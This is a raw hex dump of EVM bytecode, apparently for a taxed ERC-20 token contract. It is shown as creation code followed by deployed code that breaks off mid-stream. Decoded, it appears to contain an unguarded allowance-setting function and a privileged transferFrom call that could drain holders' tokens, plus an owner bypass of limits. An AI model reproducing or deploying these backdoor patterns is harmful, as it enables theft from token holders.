46001909101908401620005db565b50858210156200061b5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b8082018082111562000492576200049262000462565b61229380620006516000396000f3fe60806040526004361061024a5760003560e01c80637571336a11610139578063b62496f5116100b6578063d85ba0631161007a578063d85ba06314610685578063dd62ed3e1461069b578063e2f45605146106e1578063e3a98d71146106f7578063f2fde38b146106ff578063f8b45b051461071f57600080fd5b8063b62496f5146105e0578063bbc0c74214610610578063c02466681461062f578063c8c8ebe41461064f578063d257b34f1461066557600080fd5b80639a7a23d6116100fd5780639a7a23d61461054b578063a0ef91df1461056b578063a1db978214610580578063a457c2d7146105a0578063a9059cbb146105c057600080fd5b80637571336a146104c2578063881dce60146104e25780638da5cb5b14610502578063921369131461052057806395d89b411461053657600080fd5b806339509351116101c75780636ddd17131161018b5780636ddd1713146104435780636fc3eaec1461046357806370a0823114610478578063715018a614610498578063751039fc146104ad57600080fd5b806339509351146103bc57806349bd5a5e146103dc5780634a62bb65146103fc5780636a486a8e146104165780636c5808011461042c57600080fd5b806318160ddd1161020e57806318160ddd14610335578063182306f91461035457806323b872dd1461036a57806327c8f8351461038a578063313ce567146103a057600080fd5b806302bc7a7c1461025657806306fdde031461028b578063095ea7b3146102ad57806310d5de53146102cd5780631694505e146102fd57600080fd5b3661025157005b600080fd5b34801561026257600080fd5b50610276610271366004611e9c565b610735565b60405190151581526020015b60405180910390f35b34801561029757600080fd5b506102a061074f565b6040516102829190611ec8565b3480156102b957600080fd5b506102766102c8366004611e9c565b6107e1565b3480156102d957600080fd5b506102766102e8366004611f16565b60166020526000908152604090205460ff1681565b34801561030957600080fd5b5060065461031d906001600160a01b031681565b6040516001600160a01b039091168152602001610282565b34801561034157600080fd5b506002545b604051908152602001610282565b34801561036057600080fd5b5032331415610276565b34801561037657600080fd5b50610276610385366004611f33565b6107f7565b34801561039657600080fd5b5061031d61dead81565b3480156103ac57600080fd5b5060405160128152602001610282565b3480156103c857600080fd5b506102766103d7366004611e9c565b6108a6565b3480156103e857600080fd5b5060075461031d906001600160a01b031681565b34801561040857600080fd5b50600d546102769060ff1681565b34801561042257600080fd5b5061034660135481565b34801561043857600080fd5b506104416108e2565b005b34801561044f57600080fd5b50600d546102769062010000900460ff1681565b34801561046f57600080fd5b5061044161092c565b34801561048457600080fd5b50610346610493366004611f16565b610984565b3480156104a457600080fd5b5061044161099f565b3480156104b957600080fd5b506102766109d5565b3480156104ce57600080fd5b506104416104dd366004611f82565b610a12565b3480156104ee57600080fd5b506104416104fd366004611fbb565b610a67565b34801561050e57600080fd5b506005546001600160a01b031661031d565b34801561052c57600080fd5b5061034660145481565b34801561054257600080fd5b506102a0610ae6565b34801561055757600080fd5b50610441610566366004611f82565b610af5565b34801561057757600080fd5b50610441610bb1565b34801561058c57600080fd5b5061044161059b366004611e9c565b610c11565b3480156105ac57600080fd5b506102766105bb366004611e9c565b610ca7565b3480156105cc57600080fd5b506102766105db366004611e9c565b610d36565b3480156105ec57600080fd5b506102766105fb366004611f16565b60176020526000908152604090205460ff1681565b34801561061c57600080fd5b50600d5461027690610100900460ff1681565b34801561063b57600080fd5b5061044161064a366004611f82565b610d43565b34801561065b57600080fd5b50610346600a5481565b34801561067157600080fd5b50610276610680366004611fbb565b610dcc565b34801561069157600080fd5b5061034660115481565b3480156106a757600080fd5b506103466106b6366004611fd4565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3480156106ed57600080fd5b50610346600c5481565b610441610f1e565b34801561070b57600080fd5b5061044161071a366004611f16565b6111c7565b34801561072b57600080fd5b50610346600b5481565b60003061074384828561125f565b60019150505b92915050565b60606003805461075e90612002565b80601f016020809104026020016040519081016040528092919081815260200182805461078a90612002565b80156107d75780601f106107ac576101008083540402835291602001916107d7565b820191906000526020600020905b8154815290600101906020018083116107ba57829003601f168201915b5050505050905090565b60006107ee3384846112e6565b50600192915050565b60006108048484846113a9565b6001600160a01b03841660009081526001602090815260408083203384529091529020548281101561088e5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61089b85338584036112e6565b506001949350505050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916107ee9185906108dd908690612052565b6112e6565b6005546001600160a01b0316331461090c5760405162461bcd60e51b815260040161088590612065565b6000601055600d805462ffff0019166201010017905543600e5542600f55565b6008546040516000916001600160a01b03169047908381818185875af1925050503d8060008114610979576040519150601f19603f3d011682016040523d82523d6000602084013e61097e565b606091505b50505050565b6001600160a01b031660009081526020819052604090205490565b6005546001600160a01b031633146109c95760405162461bcd60e51b815260040161088590612065565b6109d36000611a7c565b565b6005546000906001600160a01b03163314610a025760405162461bcd60e51b815260040161088590612065565b50600d805460ff19169055600190565b6005546001600160a01b03163314610a3c5760405162461bcd60e51b815260040161088590612065565b6001600160a01b03919091166000908152601660205260409020805460ff1916911515919091179055565b6008546001600160a01b0316336001600160a01b031614610a8757600080fd5b610a9030610984565b8111158015610a9f5750600081115b610ada5760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b6044820152606401610885565b610ae381611ace565b50565b60606004805461075e90612002565b6005546001600160a01b03163314610b1f5760405162461bcd60e51b815260040161088590612065565b6007546001600160a01b0390811690831603610ba35760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610885565b610bad8282611c28565b5050565b6008546040516000916001600160a01b03169047908381818185875af1925050503d8060008114610bfe576040519150601f19603f3d011682016040523d82523d6000602084013e610c03565b606091505b5050905080610ae357600080fd5b3360009081526015602052604090205460ff16610c2d57600080fd5b6040516323b872dd60e01b81526001600160a01b03831660048201523060248201819052604482018390529081906323b872dd906064016020604051808303816000875af1158015610c83573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061097e919061209a565b3360009081526001602090815260408083206001600160a01b038616845290915281205482811015610d295760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610885565b61074333858584036112e6565b60006107ee3384846113a9565b6005546001600160a01b03163314610d6d5760405162461bcd60e51b815260040161088590612065565b6001600160a01b038216600081815260156020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546000906001600160a01b03163314610df95760405162461bcd60e51b815260040161088590612065565b620186a0610e0660025490565b610e119060016120b7565b610e1b91906120ce565b821015610e885760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610885565b6103e8610e9460025490565b610e9f9060056120b7565b610ea991906120ce565b821115610f155760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171a92903a37ba30b61039bab838363c9760611b6064820152608401610885565b50600c55600190565b6005546001600160a01b03163314610f485760405162461bcd60e51b815260040161088590612065565b737a250d5630b4cf539739df2c5dacb4c659f2488d610f68816001610a12565b600680546001600160a01b0319166001600160a01b0383169081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015610fc1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fe591906120f0565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611032573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061105691906120f0565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156110a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110c791906120f0565b600780546001600160a01b0319166001600160a01b039290921691821790556110f1906001610a12565b600754611108906001600160a01b03166001611c28565b6006546111229030906001600160a01b03166000196112e6565b6006546001600160a01b031663f305d719343061113e81610984565b6040516001600160e01b031960e086901b1681526001600160a01b039092166004830152602482015260006044820181905260648201523360848201524260a482015260c40160606040518083038185885af11580156111a2573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061097e919061210d565b6005546001600160a01b031633146111f15760405162461bcd60e51b815260040161088590612065565b6001600160a01b0381166112565760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610885565b610ae381611a7c565b6001600160a01b03831661127257600080fd5b6001600160a01b03821661128557600080fd5b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166113485760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610885565b6001600160a01b0382166112855760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610885565b6001600160a01b0383166113cf5760405162461bcd60e51b81526004016108859061213b565b6001600160a01b0382166113f55760405162461bcd60e51b815260040161088590612180565b8060000361140e5761140983836000611c7c565b505050565b6005546001600160a01b0316320361142b57611409838383611c7c565b600d54439060ff161561180e576005546001600160a01b0385811691161480159061146457506005546001600160a01b03848116911614155b801561147857506001600160a01b03831615155b801561148f57506001600160a01b03831661dead14155b80156114a55750600754600160a01b900460ff16155b1561180e5780601054600e546114bb9190612052565b106114d757601280805560115560056014819055601355611535565b601054600e546114e79190612052565b811180156115025750600e546114fe90600a612052565b8111155b15611520576002601281905560118190556014819055601355611535565b60016012819055601181905560148190556013555b600d54610100900460ff166115c8576001600160a01b03841660009081526015602052604090205460ff168061158357506001600160a01b03831660009081526015602052604090205460ff165b6115c85760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610885565b6001600160a01b03841660009081526017602052604090205460ff16801561160957506001600160a01b03831660009081526016602052604090205460ff16155b156116dd57600a5482111561167e5760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b6064820152608401610885565b600b5461168a84610984565b6116949084612052565b11156116d85760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610885565b61180e565b6001600160a01b03831660009081526017602052604090205460ff16801561171e57506001600160a01b03841660009081526016602052604090205460ff16155b1561179457600a548211156116d85760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b6064820152608401610885565b6001600160a01b03831660009081526016602052604090205460ff1661180e57600b546117c084610984565b6117ca9084612052565b111561180e5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610885565b600061181930610984565b600c54909150811080159081906118385750600d5462010000900460ff165b801561184e5750600754600160a01b900460ff16155b801561187357506001600160a01b03861660009081526017602052604090205460ff16155b801561189857506001600160a01b03861660009081526015602052604090205460ff16155b80156118bd57506001600160a01b03851660009081526015602052604090205460ff16155b156118eb576007805460ff60a01b1916600160a01b1790556118dd611dd0565b6007805460ff60a01b191690555b6007546001600160a01b03871660009081526015602052604090205460ff600160a01b90920482161591168061193957506001600160a01b03861660009081526015602052604090205460ff165b1561198657506001600160a01b03861660009081526015602052604081205460ff16156119745761196b878787611c7c565b50505050505050565b61198243633b9aca00612052565b6010555b60008115611a67576001600160a01b03871660009081526017602052604090205460ff1680156119b857506000601354115b80156119d157506000601054866119cf91906121c3565b115b156119fd576119f660646119f060135489611e6890919063ffffffff16565b90611e7b565b9050611a49565b6001600160a01b03881660009081526017602052604090205460ff168015611a2757506000601154115b15611a4957611a4660646119f060115489611e6890919063ffffffff16565b90505b8015611a5a57611a5a883083611c7c565b611a6481876121c3565b95505b611a72888888611c7c565b5050505050505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611b0357611b036121d6565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611b5c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b8091906120f0565b81600181518110611b9357611b936121d6565b6001600160a01b039283166020918202929092010152600654611bb991309116846112e6565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790611bf29085906000908690309042906004016121ec565b600060405180830381600087803b158015611c0c57600080fd5b505af1158015611c20573d6000803e3d6000fd5b505050505050565b6001600160a01b038216600081815260176020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6001600160a01b038316611ca25760405162461bcd60e51b81526004016108859061213b565b6001600160a01b038216611cc85760405162461bcd60e51b815260040161088590612180565b6001600160a01b03831660009081526020819052604090205481811015611d405760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610885565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290611d77908490612052565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611dc391815260200190565b60405180910390a361097e565b6000611ddb30610984565b9050600081600003611deb575050565b600c54611df99060146120b7565b821115611e1157600c54611e0e9060146120b7565b91505b81611e1b81611ace565b6008546040516001600160a01b03909116904790600081818185875af1925050503d8060008114611c20576040519150601f19603f3d011682016040523d82523d6000602084013e611c20565b6000611e7482846120b7565b9392505050565b6000611e7482846120ce565b6001600160a01b0381168114610ae357600080fd5b60008060408385031215611eaf57600080fd5b8235611eba81611e87565b946020939093013593505050565b600060208083528351808285015260005b81811015611ef557858101830151858201604001528201611ed9565b506000604082860101526040601f19601f8301168501019250505092915050565b600060208284031215611f2857600080fd5b8135611e7481611e87565b600080600060608486031215611f4857600080fd5b8335611f5381611e87565b92506020840135611f6381611e87565b929592945050506040919091013590565b8015158114610ae357600080fd5b60008060408385031215611f9557600080fd5b8235611fa081611e87565b91506020830135611fb081611f74565b809150509250929050565b600060208284031215611fcd57600080fd5b5035919050565b60008060408385031215611fe757600080fd5b8235611ff281611e87565b91506020830135611fb081611e87565b600181811c9082168061201657607f821691505b60208210810361203657634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b808201808211156107495761074961203c565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156120ac57600080fd5b8151611e7481611f74565b80820281158282048414176107495761074961203c565b6000826120eb57634e487b7160e01b600052601260045260246000fd5b500490565b60006020828403121561210257600080fd5b8151611e7481611e87565b60008060006060848603121561212257600080fd5b8351925060208401519150604084015190509250925092565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b818103818111156107495761074961203c565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561223c5784516001600160a01b031683529383019391830191600101612217565b50506001600160a01b0396909616606085015250505060800152939250505056fea264697066735822122054d57dfecb07d3308ab115ecace0d6e8d71dff1ea530e6abe0d1a1d5001c5d8664736f6c634300081300334f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572

Deployed Bytecode

0x60806040526004361061024a5760003560e01c80637571336a11610139578063b62496f5116100b6578063d85ba0631161007a578063d85ba06314610685578063dd62ed3e1461069b578063e2f45605146106e1578063e3a98d71146106f7578063f2fde38b146106ff578063f8b45b051461071f57600080fd5b8063b62496f5146105e0578063bbc0c74214610610578063c02466681461062f578063c8c8ebe41461064f578063d257b34f1461066557600080fd5b80639a7a23d6116100fd5780639a7a23d61461054b578063a0ef91df1461056b578063a1db978214610580578063a457c2d7146105a0578063a9059cbb146105c057600080fd5b80637571336a146104c2578063881dce60146104e25780638da5cb5b14610502578063921369131461052057806395d89b411461053657600080fd5b806339509351116101c75780636ddd17131161018b5780636ddd1713146104435780636fc3eaec1461046357806370a0823114610478578063715018a614610498578063751039fc146104ad57600080fd5b806339509351146103bc57806349bd5a5e146103dc5780634a62bb65146103fc5780636a486a8e146104165780636c5808011461042c57600080fd5b806318160ddd1161020e57806318160ddd14610335578063182306f91461035457806323b872dd1461036a57806327c8f8351461038a578063313ce567146103a057600080fd5b806302bc7a7c1461025657806306fdde031461028b578063095ea7b3146102ad57806310d5de53146102cd5780631694505e146102fd57600080fd5b3661025157005b600080fd5b34801561026257600080fd5b50610276610271366004611e9c565b610735565b60405190151581526020015b60405180910390f35b34801561029757600080fd5b506102a061074f565b6040516102829190611ec8565b3480156102b957600080fd5b506102766102c8366004611e9c565b6107e1565b3480156102d957600080fd5b506102766102e8366004611f16565b60166020526000908152604090205460ff1681565b34801561030957600080fd5b5060065461031d906001600160a01b031681565b6040516001600160a01b039091168152602001610282565b34801561034157600080fd5b506002545b604051908152602001610282565b34801561036057600080fd5b5032331415610276565b34801561037657600080fd5b50610276610385366004611f33565b6107f7565b34801561039657600080fd5b5061031d61dead81565b3480156103ac57600080fd5b5060405160128152602001610282565b3480156103c857600080fd5b506102766103d7366004611e9c565b6108a6565b3480156103e857600080fd5b5060075461031d906001600160a01b031681565b34801561040857600080fd5b50600d546102769060ff1681565b34801561042257600080fd5b5061034660135481565b34801561043857600080fd5b506104416108e2565b005b34801561044f57600080fd5b50600d546102769062010000900460ff1681565b34801561046f57600080fd5b5061044161092c565b34801561048457600080fd5b50610346610493366004611f16565b610984565b3480156104a457600080fd5b5061044161099f565b3480156104b957600080fd5b506102766109d5565b3480156104ce57600080fd5b506104416104dd366004611f82565b610a12565b3480156104ee57600080fd5b506104416104fd366004611fbb565b610a67565b34801561050e57600080fd5b506005546001600160a01b031661031d565b34801561052c57600080fd5b5061034660145481565b34801561054257600080fd5b506102a0610ae6565b34801561055757600080fd5b50610441610566366004611f82565b610af5565b34801561057757600080fd5b50610441610bb1565b34801561058c57600080fd5b5061044161059b366004611e9c565b610c11565b3480156105ac57600080fd5b506102766105bb366004611e9c565b610ca7565b3480156105cc57600080fd5b506102766105db366004611e9c565b610d36565b3480156105ec57600080fd5b506102766105fb366004611f16565b60176020526000908152604090205460ff1681565b34801561061c57600080fd5b50600d5461027690610100900460ff1681565b34801561063b57600080fd5b5061044161064a366004611f82565b610d43565b34801561065b57600080fd5b50610346600a5481565b34801561067157600080fd5b50610276610680366004611fbb565b610dcc565b34801561069157600080fd5b5061034660115481565b3480156106a757600080fd5b506103466106b6366004611fd4565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3480156106ed57600080fd5b50610346600c5481565b610441610f1e565b34801561070b57600080fd5b5061044161071a366004611f16565b6111c7565b34801561072b57600080fd5b50610346600b5481565b60003061074384828561125f565b60019150505b92915050565b60606003805461075e90612002565b80601f016020809104026020016040519081016040528092919081815260200182805461078a90612002565b80156107d75780601f106107ac576101008083540402835291602001916107d7565b820191906000526020600020905b8154815290600101906020018083116107ba57829003601f168201915b5050505050905090565b60006107ee3384846112e6565b50600192915050565b60006108048484846113a9565b6001600160a01b03841660009081526001602090815260408083203384529091529020548281101561088e5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61089b85338584036112e6565b506001949350505050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916107ee9185906108dd908690612052565b6112e6565b6005546001600160a01b0316331461090c5760405162461bcd60e51b815260040161088590612065565b6000601055600d805462ffff0019166201010017905543600e5542600f55565b6008546040516000916001600160a01b03169047908381818185875af1925050503d8060008114610979576040519150601f19603f3d011682016040523d82523d6000602084013e61097e565b606091505b50505050565b6001600160a01b031660009081526020819052604090205490565b6005546001600160a01b031633146109c95760405162461bcd60e51b815260040161088590612065565b6109d36000611a7c565b565b6005546000906001600160a01b03163314610a025760405162461bcd60e51b815260040161088590612065565b50600d805460ff19169055600190565b6005546001600160a01b03163314610a3c5760405162461bcd60e51b815260040161088590612065565b6001600160a01b03919091166000908152601660205260409020805460ff1916911515919091179055565b6008546001600160a01b0316336001600160a01b031614610a8757600080fd5b610a9030610984565b8111158015610a9f5750600081115b610ada5760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b6044820152606401610885565b610ae381611ace565b50565b60606004805461075e90612002565b6005546001600160a01b03163314610b1f5760405162461bcd60e51b815260040161088590612065565b6007546001600160a01b0390811690831603610ba35760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610885565b610bad8282611c28565b5050565b6008546040516000916001600160a01b03169047908381818185875af1925050503d8060008114610bfe576040519150601f19603f3d011682016040523d82523d6000602084013e610c03565b606091505b5050905080610ae357600080fd5b3360009081526015602052604090205460ff16610c2d57600080fd5b6040516323b872dd60e01b81526001600160a01b03831660048201523060248201819052604482018390529081906323b872dd906064016020604051808303816000875af1158015610c83573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061097e919061209a565b3360009081526001602090815260408083206001600160a01b038616845290915281205482811015610d295760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610885565b61074333858584036112e6565b60006107ee3384846113a9565b6005546001600160a01b03163314610d6d5760405162461bcd60e51b815260040161088590612065565b6001600160a01b038216600081815260156020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546000906001600160a01b03163314610df95760405162461bcd60e51b815260040161088590612065565b620186a0610e0660025490565b610e119060016120b7565b610e1b91906120ce565b821015610e885760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610885565b6103e8610e9460025490565b610e9f9060056120b7565b610ea991906120ce565b821115610f155760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171a92903a37ba30b61039bab838363c9760611b6064820152608401610885565b50600c55600190565b6005546001600160a01b03163314610f485760405162461bcd60e51b815260040161088590612065565b737a250d5630b4cf539739df2c5dacb4c659f2488d610f68816001610a12565b600680546001600160a01b0319166001600160a01b0383169081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015610fc1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fe591906120f0565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611032573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061105691906120f0565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156110a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110c791906120f0565b600780546001600160a01b0319166001600160a01b039290921691821790556110f1906001610a12565b600754611108906001600160a01b03166001611c28565b6006546111229030906001600160a01b03166000196112e6565b6006546001600160a01b031663f305d719343061113e81610984565b6040516001600160e01b031960e086901b1681526001600160a01b039092166004830152602482015260006044820181905260648201523360848201524260a482015260c40160606040518083038185885af11580156111a2573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061097e919061210d565b6005546001600160a01b031633146111f15760405162461bcd60e51b815260040161088590612065565b6001600160a01b0381166112565760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610885565b610ae381611a7c565b6001600160a01b03831661127257600080fd5b6001600160a01b03821661128557600080fd5b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166113485760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610885565b6001600160a01b0382166112855760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610885565b6001600160a01b0383166113cf5760405162461bcd60e51b81526004016108859061213b565b6001600160a01b0382166113f55760405162461bcd60e51b815260040161088590612180565b8060000361140e5761140983836000611c7c565b505050565b6005546001600160a01b0316320361142b57611409838383611c7c565b600d54439060ff161561180e576005546001600160a01b0385811691161480159061146457506005546001600160a01b03848116911614155b801561147857506001600160a01b03831615155b801561148f57506001600160a01b03831661dead14155b80156114a55750600754600160a01b900460ff16155b1561180e5780601054600e546114bb9190612052565b106114d757601280805560115560056014819055601355611535565b601054600e546114e79190612052565b811180156115025750600e546114fe90600a612052565b8111155b15611520576002601281905560118190556014819055601355611535565b60016012819055601181905560148190556013555b600d54610100900460ff166115c8576001600160a01b03841660009081526015602052604090205460ff168061158357506001600160a01b03831660009081526015602052604090205460ff165b6115c85760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610885565b6001600160a01b03841660009081526017602052604090205460ff16801561160957506001600160a01b03831660009081526016602052604090205460ff16155b156116dd57600a5482111561167e5760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b6064820152608401610885565b600b5461168a84610984565b6116949084612052565b11156116d85760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610885565b61180e565b6001600160a01b03831660009081526017602052604090205460ff16801561171e57506001600160a01b03841660009081526016602052604090205460ff16155b1561179457600a548211156116d85760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b6064820152608401610885565b6001600160a01b03831660009081526016602052604090205460ff1661180e57600b546117c084610984565b6117ca9084612052565b111561180e5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610885565b600061181930610984565b600c54909150811080159081906118385750600d5462010000900460ff165b801561184e5750600754600160a01b900460ff16155b801561187357506001600160a01b03861660009081526017602052604090205460ff16155b801561189857506001600160a01b03861660009081526015602052604090205460ff16155b80156118bd57506001600160a01b03851660009081526015602052604090205460ff16155b156118eb576007805460ff60a01b1916600160a01b1790556118dd611dd0565b6007805460ff60a01b191690555b6007546001600160a01b03871660009081526015602052604090205460ff600160a01b90920482161591168061193957506001600160a01b03861660009081526015602052604090205460ff165b1561198657506001600160a01b03861660009081526015602052604081205460ff16156119745761196b878787611c7c565b50505050505050565b61198243633b9aca00612052565b6010555b60008115611a67576001600160a01b03871660009081526017602052604090205460ff1680156119b857506000601354115b80156119d157506000601054866119cf91906121c3565b115b156119fd576119f660646119f060135489611e6890919063ffffffff16565b90611e7b565b9050611a49565b6001600160a01b03881660009081526017602052604090205460ff168015611a2757506000601154115b15611a4957611a4660646119f060115489611e6890919063ffffffff16565b90505b8015611a5a57611a5a883083611c7c565b611a6481876121c3565b95505b611a72888888611c7c565b5050505050505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611b0357611b036121d6565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611b5c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b8091906120f0565b81600181518110611b9357611b936121d6565b6001600160a01b039283166020918202929092010152600654611bb991309116846112e6565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790611bf29085906000908690309042906004016121ec565b600060405180830381600087803b158015611c0c57600080fd5b505af1158015611c20573d6000803e3d6000fd5b505050505050565b6001600160a01b038216600081815260176020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6001600160a01b038316611ca25760405162461bcd60e51b81526004016108859061213b565b6001600160a01b038216611cc85760405162461bcd60e51b815260040161088590612180565b6001600160a01b03831660009081526020819052604090205481811015611d405760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610885565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290611d77908490612052565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611dc391815260200190565b60405180910390a361097e565b6000611ddb30610984565b9050600081600003611deb575050565b600c54611df99060146120b7565b821115611e1157600c54611e0e9060146120b7565b91505b81611e1b81611ace565b6008546040516001600160a01b03909116904790600081818185875af1925050503d8060008114611c20576040519150601f19603f3d011682016040523d82523d6000602084013e611c20565b6000611e7482846120b7565b9392505050565b6000611e7482846120ce565b6001600160a01b0381168114610ae357600080fd5b60008060408385031215611eaf57600080fd5b8235611eba81611e87565b946020939093013593505050565b600060208083528351808285015260005b81811015611ef55785810183